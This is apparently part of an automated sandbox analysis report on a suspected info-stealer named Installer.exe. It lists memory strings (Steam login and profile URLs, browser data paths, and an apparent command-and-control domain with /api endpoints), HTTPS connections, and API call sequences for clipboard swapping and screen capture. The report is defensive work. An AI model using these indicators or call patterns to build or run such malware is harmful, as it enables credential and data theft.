Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Installer.exe, 00000003.00000003.1973390326.0000000003594000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/$5
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/.V
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/NVmA
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/S
Source: Installer.exe, 00000003.00000002.3522783205.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1874516417.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1857732899.00000000035B8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522850186.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1785844021.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1973344766.00000000035B8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835542248.00000000035B4000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api#4
Source: Installer.exe, 00000003.00000002.3522783205.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apim
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apix:Z
Source: Installer.exe, 00000003.00000002.3522659058.0000000003512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/espF
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000002.3522659058.0000000003512000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738807223.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: Installer.exe, 00000003.00000003.1835591588.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835776038.000000000356C000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1835675481.000000000355D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi.W
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: Installer.exe, 00000003.00000003.1715301771.000000000356D000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1715238902.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Installer.exe, 00000003.00000003.1763175969.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Installer.exe, 00000003.00000003.1763175969.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1763272472.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1785769288.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Installer.exe, 00000003.00000003.1763272472.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Installer.exe, 00000003.00000003.1763175969.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1763272472.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1785769288.0000000005C97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Installer.exe, 00000003.00000003.1763272472.0000000005C72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Installer.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Installer.exe, 00000003.00000003.1831936100.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1832003784.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Installer.exe, 00000003.00000003.1762901890.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1762839863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Installer.exe, 00000003.00000003.1809808944.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Installer.exe, 00000003.00000003.1715238902.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, Installer.exe, 00000003.00000003.1738791438.00000000035B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: Installer.exe, 00000003.00000003.1715268906.000000000355F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_00433600 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00433600

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_04FE1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

3_2_04FE1000

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_00433600 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00433600

Source: C:\Users\user\Desktop\Installer.exe

Code function: 3_2_00433B7A GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00433B7A

Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00341000	0_2_00341000
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_0034F555	0_2_0034F555
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00367792	0_2_00367792
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00365C5E	0_2_00365C5E
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00359CC0	0_2_00359CC0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 0_2_00353FB2	0_2_00353FB2
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00341000	2_2_00341000
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_0034F555	2_2_0034F555
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00367792	2_2_00367792
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00365C5E	2_2_00365C5E
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00359CC0	2_2_00359CC0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 2_2_00353FB2	2_2_00353FB2
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00412100	3_2_00412100
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042C9D4	3_2_0042C9D4
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00410A57	3_2_00410A57
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00415200	3_2_00415200
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00409370	3_2_00409370
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00426B70	3_2_00426B70
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00421B10	3_2_00421B10
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043CB20	3_2_0043CB20
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00423D40	3_2_00423D40
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0040CD4E	3_2_0040CD4E
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0040ADEC	3_2_0040ADEC
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004085F0	3_2_004085F0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00440E00	3_2_00440E00
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00422E3F	3_2_00422E3F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004396A0	3_2_004396A0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00441700	3_2_00441700
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0040D7CF	3_2_0040D7CF
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00408800	3_2_00408800
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041780D	3_2_0041780D
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004410D0	3_2_004410D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0042788F	3_2_0042788F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00403900	3_2_00403900
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041C900	3_2_0041C900
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043A120	3_2_0043A120
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00405930	3_2_00405930
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043D1C0	3_2_0043D1C0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004081D0	3_2_004081D0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0043A9D6	3_2_0043A9D6
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004259E4	3_2_004259E4
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00433180	3_2_00433180
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00424990	3_2_00424990
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00406240	3_2_00406240
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00431210	3_2_00431210
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041E220	3_2_0041E220
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00427A3F	3_2_00427A3F
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004042B0	3_2_004042B0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_004402B0	3_2_004402B0
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_0041DB40	3_2_0041DB40
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00422370	3_2_00422370
Source: C:\Users\user\Desktop\Installer.exe	Code function: 3_2_00408B00	3_2_00408B00
